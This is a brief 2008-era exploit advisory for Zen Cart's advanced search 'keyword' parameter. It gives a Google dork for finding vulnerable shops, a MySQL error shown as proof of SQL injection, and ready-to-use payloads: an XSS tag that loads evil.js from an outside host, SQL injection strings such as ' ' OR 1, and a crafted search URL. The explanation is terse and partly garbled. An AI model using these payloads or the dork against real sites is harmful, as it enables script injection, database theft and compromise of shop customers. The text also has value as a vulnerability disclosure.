+==========================================================================+
+          2008 Zen Cart    & SQL-Injection Vulnerabilities      +
+==========================================================================+


Author(s): Ivan Sanchez 

Product: Zen Cart

Web: http://www.zen-cart.com/

Versions: 2008 Zen Cart

Date: 01/05/2008




GOOGLE DORKS:
------------
[+] intext:"2008 Zen Cart" inurl:"keyword="

Copyright © 2008 Zen Cart. Powered by Zen Cart


EXPLOIT:
--------


1/4 = 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 10
  OK ;-)  and then you see: fields, records, tables
   
2/3 = Inject evilcode ;-)


In Action:
---------


1-keyword= "><script src=http://site/scripts/evil.js></script>
2-keyword= ' ' OR 1
3-keyword=' '
4-http://site/ZenCart/index.php?main_page=advanced_search_result&search_in_description=1&zenid=bla&keyword=evil.js




NULL CODE SERVICES [ www.nullcode.com.ar ] Hunting Security Bugs!
+==========================================================================+
+       2008 Zen Cart    & SQL-Injection Vulnerabilities      +
+==========================================================================+